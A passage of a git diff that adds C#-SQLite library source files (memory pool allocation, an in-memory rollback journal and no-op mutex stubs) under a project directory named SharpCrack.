){ + // return 0; + // } + // n = sqlite3Strlen30(z) + 1; + // Debug.Assert( (n&0x7fffffff)==n ); + // zNew = sqlite3DbMallocRaw(db, (int)n); + // if( zNew ){ + // memcpy(zNew, z, n); + // } + // return zNew; + //} + //char *sqlite3DbStrNDup(sqlite3 db, string z, int n){ + // string zNew; + // if( z==0 ){ + // return 0; + // } + // Debug.Assert( (n&0x7fffffff)==n ); + // zNew = sqlite3DbMallocRaw(db, n+1); + // if( zNew ){ + // memcpy(zNew, z, n); + // zNew[n] = 0; + // } + // return zNew; + //} + + + + /* + ** Create a string from the zFromat argument and the va_list that follows. + ** Store the string in memory obtained from sqliteMalloc() and make pz + ** point to that string. + */ + static void sqlite3SetString( ref string pz, sqlite3 db, string zFormat, params string[] ap ) + { + //va_list ap; + lock ( lock_va_list ) + { + string z; + + va_start( ap, zFormat ); + z = sqlite3VMPrintf( db, zFormat, ap ); + va_end( ref ap ); + sqlite3DbFree( db, ref pz ); + pz = z; + } + } + + /* + ** This function must be called before exiting any API function (i.e. + ** returning control to the user) that has called sqlite3_malloc or + ** sqlite3_realloc. + ** + ** The returned value is normally a copy of the second argument to this + ** function. However, if a malloc() failure has occurred since the previous + ** invocation SQLITE_NOMEM is returned instead. + ** + ** If the first argument, db, is not NULL and a malloc() error has occurred, + ** then the connection error-code (the value returned by sqlite3_errcode()) + ** is set to SQLITE_NOMEM. + */ + static int sqlite3ApiExit( int zero, int rc ) + { + sqlite3 db = null; + return sqlite3ApiExit( db, rc ); + } + + static int sqlite3ApiExit( sqlite3 db, int rc ) + { + /* If the db handle is not NULL, then we must hold the connection handle + ** mutex here. Otherwise the read (and possible write) of db.mallocFailed + ** is unsafe, as is the call to sqlite3Error(). + */ + Debug.Assert( db == null || sqlite3_mutex_held( db.mutex ) ); + if ( /*db != null && db.mallocFailed != 0 || */ rc == SQLITE_IOERR_NOMEM ) + { + sqlite3Error( db, SQLITE_NOMEM, "" ); + //db.mallocFailed = 0; + rc = SQLITE_NOMEM; + } + return rc & ( db != null ? db.errMask : 0xff ); + } + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/mem_Pool.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/mem_Pool.cs new file mode 100644 index 0000000..99c40a0 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/mem_Pool.cs @@ -0,0 +1,440 @@ +using System; +using System.Diagnostics; +using System.Runtime.InteropServices; + +using sqlite3_int64 = System.Int64; +using u32 = System.UInt32; +using System.Text; + +namespace Community.CsharpSqlite +{ + public partial class Sqlite3 + { + /* + ************************************************************************* + ** + ** This file contains low-level memory & pool allocation drivers + ** + ** This file contains implementations of the low-level memory allocation + ** routines specified in the sqlite3_mem_methods object. + ** + ************************************************************************* + */ + + /* + ** Like malloc(), but remember the size of the allocation + ** so that we can find it later using sqlite3MemSize(). + ** + ** For this low-level routine, we are guaranteed that nByte>0 because + ** cases of nByte<=0 will be intercepted and dealt with by higher level + ** routines. + */ +#if SQLITE_POOL_MEM +#if !NO_TRUE + static byte[] sqlite3MemMalloc( u32 nByte ) + { + return new byte[nByte]; + } + static byte[] sqlite3MemMalloc( int nByte ) + { + return new byte[nByte]; + } + static int[] sqlite3MemMallocInt( int nInt ) + { + return new int[nInt]; + } +#else + static byte[] sqlite3MemMalloc(int nByte) + { + byte[] pByte = null; + int savej = -1; + int BestSize = int.MaxValue; + if (nByte > mem0.aByteSize[0]) + { + int i; + for (i = 0; i < mem0.aByteSize.Length - 1; i++) if (nByte <= mem0.aByteSize[i]) break; + mem0.mr_Byte++; + for (int j = 0; j <= mem0.aByte_used[i]; j++) + if (mem0.aByte[i][j] != null) + { + if (mem0.aByte[i][j].Length == nByte) + { + pByte = mem0.aByte[i][j]; mem0.aByte[i][j] = null; mem0.cf_Byte++; + if (j == mem0.aByte_used[i]) mem0.aByte_used[i]--; + break; + } + if (mem0.aByte[i][j].Length > nByte) + { + if (mem0.aByte[i][j].Length < BestSize) + { + BestSize = mem0.aByte[i][j].Length; + savej = j; + } + } + } + if (pByte == null && savej >= 0) + { + pByte = mem0.aByte[i][savej]; mem0.aByte[i][savej] = null; mem0.cf_Byte++; + Array.Resize(ref pByte, nByte); + } + if (mem0.aByte_used[i] >=0 && mem0.aByte[i][mem0.aByte_used[i]] == null) mem0.aByte_used[i]--; + } + if (pByte == null) pByte = new byte[nByte]; + return pByte; + } + static int[] sqlite3MemMallocInt(int nInt) + { + int[] pInt = null; + int savei = -1; + int BestSize = int.MaxValue; + if (nInt >=10) + { + mem0.mr_Int++; + int i; + for (i = 0; i < mem0.hw_Int; i++) + if (mem0.aInt[i] != null) + { + if (mem0.aInt[i].Length == nInt) + { + pInt = mem0.aInt[i]; mem0.aInt[i] = null; mem0.cf_Int++; break; + } + if (mem0.aInt[i].Length > nInt) + { + if (mem0.aInt[i].Length < BestSize) + { + BestSize = mem0.aInt[i].Length; + savei = i; + } + } + } + if (pInt == null && savei >= 0) + { + pInt = mem0.aInt[savei]; mem0.aInt[savei] = null; mem0.cf_Int++; + } + } + if (pInt == null) pInt = new int[nInt]; + return pInt; + } +#endif + + static Mem sqlite3MemMallocMem( Mem dummy ) + { + Mem pMem; + mem0.msMem.alloc++; + if ( mem0.msMem.next > 0 && mem0.aMem[mem0.msMem.next] != null ) + { + pMem = mem0.aMem[mem0.msMem.next]; + mem0.aMem[mem0.msMem.next] = null; + mem0.msMem.cached++; + mem0.msMem.next--; + } + else + pMem = new Mem(); + return pMem; + } + static BtCursor sqlite3MemMallocBtCursor( BtCursor dummy ) + { + BtCursor pBtCursor; + mem0.msBtCursor.alloc++; + if ( mem0.msBtCursor.next > 0 && mem0.aBtCursor[mem0.msBtCursor.next] != null ) + { + pBtCursor = mem0.aBtCursor[mem0.msBtCursor.next]; + Debug.Assert( pBtCursor.pNext == null && pBtCursor.pPrev == null && pBtCursor.wrFlag == 0 ); + mem0.aBtCursor[mem0.msBtCursor.next] = null; + mem0.msBtCursor.cached++; + mem0.msBtCursor.next--; + } + else + pBtCursor = new BtCursor(); + return pBtCursor; + } +#endif + /* + ** Free memory. + */ + // -- overloads --------------------------------------- + static void sqlite3MemFree( ref T x ) where T : class + { + x = null; + } + static void sqlite3MemFree( ref string x ) + { + x = null; + } + // + + /* + ** Like free() but works for allocations obtained from sqlite3MemMalloc() + ** or sqlite3MemRealloc(). + ** + ** For this low-level routine, we already know that pPrior!=0 since + ** cases where pPrior==0 will have been intecepted and dealt with + ** by higher-level routines. + */ +#if SQLITE_POOL_MEM +#if !NO_TRUE + static void sqlite3MemFreeInt( ref int[] pPrior ) + { + pPrior = null; + } +#else + static void sqlite3MemFree(ref byte[] pPrior) + { + if (pPrior == null) return; + if (pPrior.Length > mem0.aByteSize[0]) + { + int savej = -1; + int Smallest = int.MaxValue; + int i; + for (i = 0; i < mem0.aByteSize.Length - 1; i++) if (pPrior.Length <= mem0.aByteSize[i]) break; +#if DEBUG +for (int j = 0; j < mem0.aByte[i].Length; j++) if (mem0.aByte[i][j] != null && mem0.aByte[i][j] == pPrior) Debugger.Break(); +#endif + mem0.mf_Byte++; + for (int j = 0; j <= mem0.aByte_used[i]; j++) + { + if (mem0.aByte[i][j] == null) + { + mem0.aByte[i][j] = pPrior; + pPrior = null; + return; + } + if (mem0.aByte[i][j].Length < Smallest) + { + savej = j; + Smallest = mem0.aByte[i][j].Length; + } + } + + if (mem0.aByte_used[i] < mem0.aByte[i].Length - 1) mem0.aByte[i][++mem0.aByte_used[i]] = pPrior; + else if (savej >= 0) mem0.aByte[i][savej] = pPrior; + } + pPrior = null; + return; + } + static void sqlite3MemFreeInt(ref int[] pPrior) + { + if (pPrior == null) return; + if (pPrior.Length >= 10) + { + int savei = -1; + int Smallest = int.MaxValue; +#if DEBUG +for (int i = 0; i < mem0.aInt.Length; i++) if (mem0.aInt[i] != null && mem0.aInt[i] == pPrior) Debugger.Break(); +#endif + mem0.mf_Int++; + for (int i = 0; i < mem0.aInt.Length; i++) + { + if (mem0.aInt[i] == null) + { + mem0.aInt[i] = pPrior; + pPrior = null; + return; + } + if (mem0.aInt[i].Length < Smallest) + { + savei = i; + Smallest = mem0.aInt[i].Length; + } + } + if (savei >= 0) mem0.aInt[savei] = pPrior; + } + pPrior = null; + return; + } +#endif + static void sqlite3MemFreeMem( ref Mem pPrior ) + { + if ( pPrior == null ) + return; +#if FALSE && DEBUG +for (int i = mem0.msMem.next - 1; i >= 0; i--) if (mem0.aMem[i] != null && mem0.aMem[i] == pPrior) Debugger.Break(); +#endif + mem0.msMem.dealloc++; + if ( mem0.msMem.next < mem0.aMem.Length - 1 ) + { + pPrior.db = null; + pPrior._SumCtx = null; + pPrior._MD5Context = null; + pPrior._SubProgram = null; + pPrior.flags = MEM_Null; + pPrior.r = 0; + pPrior.u.i = 0; + pPrior.n = 0; + if ( pPrior.zBLOB != null ) + sqlite3MemFree( ref pPrior.zBLOB ); + mem0.aMem[++mem0.msMem.next] = pPrior; + if ( mem0.msMem.next > mem0.msMem.max ) + mem0.msMem.max = mem0.msMem.next; + + } + //Array.Resize( ref mem0.aMem, (int)(mem0.hw_Mem * 1.5 + 1 )); + //mem0.aMem[mem0.hw_Mem] = pPrior; + //mem0.hw_Mem = mem0.aMem.Length; + pPrior = null; + return; + } + static void sqlite3MemFreeBtCursor( ref BtCursor pPrior ) + { + if ( pPrior == null ) + return; +#if FALSE && DEBUG + for ( int i = mem0.msBtCursor.next - 1; i >= 0; i-- ) if ( mem0.aBtCursor[i] != null && mem0.aBtCursor[i] == pPrior ) Debugger.Break(); +#endif + mem0.msBtCursor.dealloc++; + if ( mem0.msBtCursor.next < mem0.aBtCursor.Length - 1 ) + { + mem0.aBtCursor[++mem0.msBtCursor.next] = pPrior; + if ( mem0.msBtCursor.next > mem0.msBtCursor.max ) + mem0.msBtCursor.max = mem0.msBtCursor.next; + } + //Array.Resize( ref mem0.aBtCursor, (int)(mem0.hw_BtCursor * 1.5 + 1 )); + //mem0.aBtCursor[mem0.hw_BtCursor] = pPrior; + //mem0.hw_BtCursor = mem0.aBtCursor.Length; + pPrior = null; + return; + } + /* + ** Like realloc(). Resize an allocation previously obtained from + ** sqlite3MemMalloc(). + ** + ** For this low-level interface, we know that pPrior!=0. Cases where + ** pPrior==0 while have been intercepted by higher-level routine and + ** redirected to xMalloc. Similarly, we know that nByte>0 becauses + ** cases where nByte<=0 will have been intercepted by higher-level + ** routines and redirected to xFree. + */ + static byte[] sqlite3MemRealloc( ref byte[] pPrior, int nByte ) + { + // sqlite3_int64 p = (sqlite3_int64*)pPrior; + // Debug.Assert(pPrior!=0 && nByte>0 ); + // nByte = ROUND8( nByte ); + // p = (sqlite3_int64*)pPrior; + // p--; + // p = realloc(p, nByte+8 ); + // if( p ){ + // p[0] = nByte; + // p++; + // } + // return (void*)p; + Array.Resize( ref pPrior, nByte ); + return pPrior; + } +#else + /* +** No-op versions of all memory allocation routines +*/ +static byte[] sqlite3MemMalloc(int nByte) { return new byte[nByte]; } +static int[] sqlite3MemMallocInt(int nInt) { return new int[nInt]; } +static Mem sqlite3MemMallocMem( Mem pMem) { return new Mem(); } +static void sqlite3MemFree( ref byte[] pPrior ) { pPrior = null; } +static void sqlite3MemFreeInt( ref int[] pPrior ) { pPrior = null; } +static void sqlite3MemFreeMem(ref Mem pPrior) { pPrior = null; } +static int sqlite3MemInit() { return SQLITE_OK; } +static void sqlite3MemShutdown() { } +static BtCursor sqlite3MemMallocBtCursor( BtCursor dummy ){return new BtCursor();} +static void sqlite3MemFreeBtCursor(ref BtCursor pPrior) { pPrior = null; } +#endif + + static byte[] sqlite3MemRealloc( byte[] pPrior, int nByte ) + { + Array.Resize( ref pPrior, nByte ); + return pPrior; + } + + /* + ** Report the allocated size of a prior return from xMalloc() + ** or xRealloc(). + */ + static int sqlite3MemSize( byte[] pPrior ) + { + // sqlite3_int64 p; + // if( pPrior==0 ) return 0; + // p = (sqlite3_int64*)pPrior; + // p--; + // return p[0]; + return pPrior == null ? 0 : (int)pPrior.Length; + } + + /* + ** Round up a request size to the next valid allocation size. + */ + static int sqlite3MemRoundup( int n ) + { + return n;// ROUND8( n ); + } + + /* + ** Initialize this module. + */ + static int sqlite3MemInit( object NotUsed ) + { + UNUSED_PARAMETER( NotUsed ); + if ( !sqlite3GlobalConfig.bMemstat ) + { + /* If memory status is enabled, then the malloc.c wrapper will already + ** hold the STATIC_MEM mutex when the routines here are invoked. */ + mem0.mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MEM ); + } + return SQLITE_OK; + } + + /* + ** Deinitialize this module. + */ + static void sqlite3MemShutdown( object NotUsed ) + { + + UNUSED_PARAMETER( NotUsed ); + return; + } + + /* + ** This routine is the only routine in this file with external linkage. + ** + ** Populate the low-level memory allocation function pointers in + ** sqlite3GlobalConfig.m with pointers to the routines in this file. + */ + static void sqlite3MemSetDefault() + { + sqlite3_mem_methods defaultMethods = new sqlite3_mem_methods( + sqlite3MemMalloc, + sqlite3MemMallocInt, + sqlite3MemMallocMem, + sqlite3MemFree, + sqlite3MemFreeInt, + sqlite3MemFreeMem, + sqlite3MemRealloc, + sqlite3MemSize, + sqlite3MemRoundup, + (dxMemInit)sqlite3MemInit, + (dxMemShutdown)sqlite3MemShutdown, + 0 + ); + sqlite3_config( SQLITE_CONFIG_MALLOC, defaultMethods ); + } + + static void sqlite3DbFree( sqlite3 db, ref int[] pPrior ) + { + if ( pPrior != null ) + sqlite3MemFreeInt( ref pPrior ); + } + static void sqlite3DbFree( sqlite3 db, ref Mem pPrior ) + { + if ( pPrior != null ) + sqlite3MemFreeMem( ref pPrior ); + } + static void sqlite3DbFree( sqlite3 db, ref Mem[] pPrior ) + { + if ( pPrior != null ) + for ( int i = 0; i < pPrior.Length; i++ ) + sqlite3MemFreeMem( ref pPrior[i] ); + } + static void sqlite3DbFree( sqlite3 db, ref T pT ) where T : class + { + } + static void sqlite3DbFree( sqlite3 db, ref string pString ) + { + } + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/memjournal_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/memjournal_c.cs new file mode 100644 index 0000000..7f15414 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/memjournal_c.cs @@ -0,0 +1,322 @@ +using System; +using System.Diagnostics; +using System.Text; + +using Bitmask = System.UInt64; +using u8 = System.Byte; +using u16 = System.UInt16; +using u32 = System.UInt32; + +namespace Community.CsharpSqlite +{ + using sqlite3_int64 = System.Int64; + using MemJournal = Sqlite3.sqlite3_file; + + public partial class Sqlite3 + { + /* + ** 2007 August 22 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** + ** This file contains code use to implement an in-memory rollback journal. + ** The in-memory rollback journal is used to journal transactions for + ** ":memory:" databases and when the journal_mode=MEMORY pragma is used. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2010-12-07 20:14:09 a586a4deeb25330037a49df295b36aaf624d0f45 + ** + ************************************************************************* + */ + + //#include "sqliteInt.h" + + /* Forward references to internal structures */ + //typedef struct MemJournal MemJournal; + //typedef struct FilePoint FilePoint; + //typedef struct FileChunk FileChunk; + + /* Space to hold the rollback journal is allocated in increments of + ** this many bytes. + ** + ** The size chosen is a little less than a power of two. That way, + ** the FileChunk object will have a size that almost exactly fills + ** a power-of-two allocation. This mimimizes wasted space in power-of-two + ** memory allocators. + */ + //#define JOURNAL_CHUNKSIZE ((int)(1024-sizeof(FileChunk*))) + const int JOURNAL_CHUNKSIZE = 4096; + + /* Macro to find the minimum of two numeric values. + */ + //#if !MIN + //# define MIN(x,y) ((x)<(y)?(x):(y)) + //#endif + static int MIN( int x, int y ) + { + return ( x < y ) ? x : y; + } + static int MIN( int x, u32 y ) + { + return ( x < y ) ? x : (int)y; + } + + /* + ** The rollback journal is composed of a linked list of these structures. + */ + public class FileChunk + { + public FileChunk pNext; /* Next chunk in the journal */ + public byte[] zChunk = new byte[JOURNAL_CHUNKSIZE]; /* Content of this chunk */ + }; + + /* + ** An instance of this object serves as a cursor into the rollback journal. + ** The cursor can be either for reading or writing. + */ + public class FilePoint + { + public long iOffset; /* Offset from the beginning of the file */ + public FileChunk pChunk; /* Specific chunk into which cursor points */ + }; + + /* + ** This subclass is a subclass of sqlite3_file. Each open memory-journal + ** is an instance of this class. + */ + public partial class sqlite3_file + { + //public sqlite3_io_methods pMethods; /* Parent class. MUST BE FIRST */ + public FileChunk pFirst; /* Head of in-memory chunk-list */ + public FilePoint endpoint; /* Pointer to the end of the file */ + public FilePoint readpoint; /* Pointer to the end of the last xRead() */ + }; + + /* + ** Read data from the in-memory journal file. This is the implementation + ** of the sqlite3_vfs.xRead method. + */ + static int memjrnlRead( + sqlite3_file pJfd, /* The journal file from which to read */ + byte[] zBuf, /* Put the results here */ + int iAmt, /* Number of bytes to read */ + sqlite3_int64 iOfst /* Begin reading at this offset */ + ) + { + MemJournal p = (MemJournal)pJfd; + byte[] zOut = zBuf; + int nRead = iAmt; + int iChunkOffset; + FileChunk pChunk; + + /* SQLite never tries to read past the end of a rollback journal file */ + Debug.Assert( iOfst + iAmt <= p.endpoint.iOffset ); + + if ( p.readpoint.iOffset != iOfst || iOfst == 0 ) + { + int iOff = 0; + for ( pChunk = p.pFirst; + ALWAYS( pChunk != null ) && ( iOff + JOURNAL_CHUNKSIZE ) <= iOfst; + pChunk = pChunk.pNext + ) + { + iOff += JOURNAL_CHUNKSIZE; + } + } + else + { + pChunk = p.readpoint.pChunk; + } + + iChunkOffset = (int)( iOfst % JOURNAL_CHUNKSIZE ); + int izOut = 0; + do + { + int iSpace = JOURNAL_CHUNKSIZE - iChunkOffset; + int nCopy = MIN( nRead, ( JOURNAL_CHUNKSIZE - iChunkOffset ) ); + Buffer.BlockCopy( pChunk.zChunk, iChunkOffset, zOut, izOut, nCopy ); //memcpy( zOut, pChunk.zChunk[iChunkOffset], nCopy ); + izOut += nCopy;// zOut += nCopy; + nRead -= iSpace; + iChunkOffset = 0; + } while ( nRead >= 0 && ( pChunk = pChunk.pNext ) != null && nRead > 0 ); + p.readpoint.iOffset = (int)( iOfst + iAmt ); + p.readpoint.pChunk = pChunk; + + return SQLITE_OK; + } + + /* + ** Write data to the file. + */ + static int memjrnlWrite( + sqlite3_file pJfd, /* The journal file into which to write */ + byte[] zBuf, /* Take data to be written from here */ + int iAmt, /* Number of bytes to write */ + sqlite3_int64 iOfst /* Begin writing at this offset into the file */ + ) + { + MemJournal p = (MemJournal)pJfd; + int nWrite = iAmt; + byte[] zWrite = zBuf; + int izWrite = 0; + + /* An in-memory journal file should only ever be appended to. Random + ** access writes are not required by sqlite. + */ + Debug.Assert( iOfst == p.endpoint.iOffset ); + UNUSED_PARAMETER( iOfst ); + + while ( nWrite > 0 ) + { + FileChunk pChunk = p.endpoint.pChunk; + int iChunkOffset = (int)( p.endpoint.iOffset % JOURNAL_CHUNKSIZE ); + int iSpace = MIN( nWrite, JOURNAL_CHUNKSIZE - iChunkOffset ); + + if ( iChunkOffset == 0 ) + { + /* New chunk is required to extend the file. */ + FileChunk pNew = new FileChunk();// sqlite3_malloc( sizeof( FileChunk ) ); + if ( null == pNew ) + { + return SQLITE_IOERR_NOMEM; + } + pNew.pNext = null; + if ( pChunk != null ) + { + Debug.Assert( p.pFirst != null ); + pChunk.pNext = pNew; + } + else + { + Debug.Assert( null == p.pFirst ); + p.pFirst = pNew; + } + p.endpoint.pChunk = pNew; + } + + Buffer.BlockCopy( zWrite, izWrite, p.endpoint.pChunk.zChunk, iChunkOffset, iSpace ); //memcpy( &p.endpoint.pChunk.zChunk[iChunkOffset], zWrite, iSpace ); + izWrite += iSpace;//zWrite += iSpace; + nWrite -= iSpace; + p.endpoint.iOffset += iSpace; + } + + return SQLITE_OK; + } + + /* + ** Truncate the file. + */ + static int memjrnlTruncate( sqlite3_file pJfd, sqlite3_int64 size ) + { + MemJournal p = (MemJournal)pJfd; + FileChunk pChunk; + Debug.Assert( size == 0 ); + UNUSED_PARAMETER( size ); + pChunk = p.pFirst; + while ( pChunk != null ) + { + FileChunk pTmp = pChunk; + pChunk = pChunk.pNext; + //sqlite3_free( ref pTmp ); + } + sqlite3MemJournalOpen( pJfd ); + return SQLITE_OK; + } + + /* + ** Close the file. + */ + static int memjrnlClose( MemJournal pJfd ) + { + memjrnlTruncate( pJfd, 0 ); + return SQLITE_OK; + } + + + /* + ** Sync the file. + ** + ** Syncing an in-memory journal is a no-op. And, in fact, this routine + ** is never called in a working implementation. This implementation + ** exists purely as a contingency, in case some malfunction in some other + ** part of SQLite causes Sync to be called by mistake. + */ + static int memjrnlSync( sqlite3_file NotUsed, int NotUsed2 ) + { + UNUSED_PARAMETER2( NotUsed, NotUsed2 ); + return SQLITE_OK; + } + + /* + ** Query the size of the file in bytes. + */ + static int memjrnlFileSize( sqlite3_file pJfd, ref long pSize ) + { + MemJournal p = (MemJournal)pJfd; + pSize = p.endpoint.iOffset; + return SQLITE_OK; + } + + /* + ** Table of methods for MemJournal sqlite3_file object. + */ + static sqlite3_io_methods MemJournalMethods = new sqlite3_io_methods( + 1, /* iVersion */ + (dxClose)memjrnlClose, /* xClose */ + (dxRead)memjrnlRead, /* xRead */ + (dxWrite)memjrnlWrite, /* xWrite */ + (dxTruncate)memjrnlTruncate, /* xTruncate */ + (dxSync)memjrnlSync, /* xSync */ + (dxFileSize)memjrnlFileSize, /* xFileSize */ + null, /* xLock */ + null, /* xUnlock */ + null, /* xCheckReservedLock */ + null, /* xFileControl */ + null, /* xSectorSize */ + null, /* xDeviceCharacteristics */ + null, /* xShmMap */ + null, /* xShmLock */ + null, /* xShmBarrier */ + null /* xShmUnlock */ + ); + + /* + ** Open a journal file. + */ + static void sqlite3MemJournalOpen( sqlite3_file pJfd ) + { + MemJournal p = (MemJournal)pJfd; + //memset( p, 0, sqlite3MemJournalSize() ); + p.pFirst = null; + p.endpoint = new FilePoint(); + p.readpoint = new FilePoint(); + p.pMethods = MemJournalMethods;//(sqlite3_io_methods*)&MemJournalMethods; + } + + /* + ** Return true if the file-handle passed as an argument is + ** an in-memory journal + */ + static bool sqlite3IsMemJournal( sqlite3_file pJfd ) + { + return pJfd.pMethods == MemJournalMethods; + } + + /* + ** Return the number of bytes required to store a MemJournal file descriptor. + */ + static int sqlite3MemJournalSize() + { + return 3096; // sizeof( MemJournal ); + } + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/mutex_h.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/mutex_h.cs new file mode 100644 index 0000000..52e7ee2 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/mutex_h.cs @@ -0,0 +1,145 @@ +#define SQLITE_OS_WIN + +namespace Community.CsharpSqlite +{ + public partial class Sqlite3 + { + /* + ** 2007 August 28 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** + ** This file contains the common header for all mutex implementations. + ** The sqliteInt.h header #includes this file so that it is available + ** to all source files. We break it out in an effort to keep the code + ** better organized. + ** + ** NOTE: source files should *not* #include this header file directly. + ** Source files should #include the sqliteInt.h file and let that file + ** include this one indirectly. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2010-12-07 20:14:09 a586a4deeb25330037a49df295b36aaf624d0f45 + ** + ************************************************************************* + */ + + + /* + ** Figure out what version of the code to use. The choices are + ** + ** SQLITE_MUTEX_OMIT No mutex logic. Not even stubs. The + ** mutexes implemention cannot be overridden + ** at start-time. + ** + ** SQLITE_MUTEX_NOOP For single-threaded applications. No + ** mutual exclusion is provided. But this + ** implementation can be overridden at + ** start-time. + ** + ** SQLITE_MUTEX_PTHREADS For multi-threaded applications on Unix. + ** + ** SQLITE_MUTEX_W32 For multi-threaded applications on Win32. + ** + ** SQLITE_MUTEX_OS2 For multi-threaded applications on OS/2. + */ + + //#if !SQLITE_THREADSAFE + //# define SQLITE_MUTEX_OMIT + //#endif + //#if SQLITE_THREADSAFE && !defined(SQLITE_MUTEX_NOOP) + //# if SQLITE_OS_UNIX + //# define SQLITE_MUTEX_PTHREADS + //# elif SQLITE_OS_WIN + //# define SQLITE_MUTEX_W32 + //# elif SQLITE_OS_OS2 + //# define SQLITE_MUTEX_OS2 + //# else + //# define SQLITE_MUTEX_NOOP + //# endif + //#endif + +//#if WINDOWS_PHONE && SQLITE_THREADSAFE +//#error Cannot compile with both WINDOWS_PHONE and SQLITE_THREADSAFE +//#endif + +#if SQLITE_SILVERLIGHT && SQLITE_THREADSAFE +#error Cannot compile with both SQLITE_SILVERLIGHT and SQLITE_THREADSAFE +#endif + +#if SQLITE_THREADSAFE && SQLITE_MUTEX_NOOP +#error Cannot compile with both SQLITE_THREADSAFE and SQLITE_MUTEX_NOOP +#endif + +#if SQLITE_THREADSAFE && SQLITE_MUTEX_OMIT +#error Cannot compile with both SQLITE_THREADSAFE and SQLITE_MUTEX_OMIT +#endif + +#if SQLITE_MUTEX_OMIT && SQLITE_MUTEX_NOOP +#error Cannot compile with both SQLITE_MUTEX_OMIT and SQLITE_MUTEX_NOOP +#endif + +#if SQLITE_MUTEX_OMIT && SQLITE_MUTEX_W32 +#error Cannot compile with both SQLITE_MUTEX_OMIT and SQLITE_MUTEX_W32 +#endif + +#if SQLITE_MUTEX_NOOP && SQLITE_MUTEX_W32 +#error Cannot compile with both SQLITE_MUTEX_NOOP and SQLITE_MUTEX_W32 +#endif + +#if !NO_SQLITE_MUTEX_OMIT + /* +** If this is a no-op implementation, implement everything as macros. +*/ + public class sqlite3_mutex + { + } + static sqlite3_mutex mutex = null; //sqlite3_mutex sqlite3_mutex; + static sqlite3_mutex sqlite3MutexAlloc( int iType ) + { + return new sqlite3_mutex(); + }//#define sqlite3MutexAlloc(X) ((sqlite3_mutex*)8) + static sqlite3_mutex sqlite3_mutex_alloc( int iType ) + { + return new sqlite3_mutex(); + }//#define sqlite3_mutex_alloc(X) ((sqlite3_mutex*)8) + static void sqlite3_mutex_free( sqlite3_mutex m ) + { + } //#define sqlite3_mutex_free(X) + static void sqlite3_mutex_enter( sqlite3_mutex m ) + { + } //#define sqlite3_mutex_enter(X) + static int sqlite3_mutex_try( int iType ) + { + return SQLITE_OK; + } //#define sqlite3_mutex_try(X) SQLITE_OK + static void sqlite3_mutex_leave( sqlite3_mutex m ) + { + } //#define sqlite3_mutex_leave(X) + static bool sqlite3_mutex_held( sqlite3_mutex m ) + { + return true; + }//#define sqlite3_mutex_held(X) ((void)(X),1) + static bool sqlite3_mutex_notheld( sqlite3_mutex m ) + { + return true; + } //#define sqlite3_mutex_notheld(X) ((void)(X),1) + static int sqlite3MutexInit() + { + return SQLITE_OK; + } //#define sqlite3MutexInit() SQLITE_OK + static void sqlite3MutexEnd() + { + } //#define sqlite3MutexEnd() +#endif //* defined(SQLITE_MUTEX_OMIT) */ + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/mutex_noop_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/mutex_noop_c.cs new file mode 100644 index 0000000..958ed23 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/mutex_noop_c.cs @@ -0,0 +1,242 @@ +using System; +using System.Diagnostics; +using System.Threading; + +namespace Community.CsharpSqlite +{ + public partial class Sqlite3 + { + /* + ** 2008 October 07 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This file contains the C functions that implement mutexes. + ** + ** This implementation in this file does not provide any mutual + ** exclusion and is thus suitable for use only in applications + ** that use SQLite in a single thread. The routines defined + ** here are place-holders. Applications can substitute working + ** mutex routines at start-time using the + ** + ** sqlite3_config(SQLITE_CONFIG_MUTEX,...) + ** + ** interface. + ** + ** If compiled with SQLITE_DEBUG, then additional logic is inserted + ** that does error checking on mutexes to make sure they are being + ** called correctly. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2009-12-07 16:39:13 1ed88e9d01e9eda5cbc622e7614277f29bcc551c + ** + ************************************************************************* + */ + //#include "sqliteInt.h" + + +#if !SQLITE_DEBUG +/* +** Stub routines for all mutex methods. +** +** This routines provide no mutual exclusion or error checking. +*/ +static int noopMutexHeld(sqlite3_mutex p){ return 1; } +static int noopMutexNotheld(sqlite3_mutex p){ return 1; } +static int noopMutexInit(){ return SQLITE_OK; } +static int noopMutexEnd(){ return SQLITE_OK; } +static sqlite3_mutex noopMutexAlloc(int id){ return new sqlite3_mutex(); } +static void noopMutexFree(sqlite3_mutex p){ } +static void noopMutexEnter(sqlite3_mutex p){ } +static int noopMutexTry(sqlite3_mutex p){ return SQLITE_OK; } +static void noopMutexLeave(sqlite3_mutex p){ } + +sqlite3_mutex_methods sqlite3DefaultMutex(){ +sqlite3_mutex_methods sMutex = new sqlite3_mutex_methods( +(dxMutexInit)noopMutexInit, +(dxMutexEnd)noopMutexEnd, 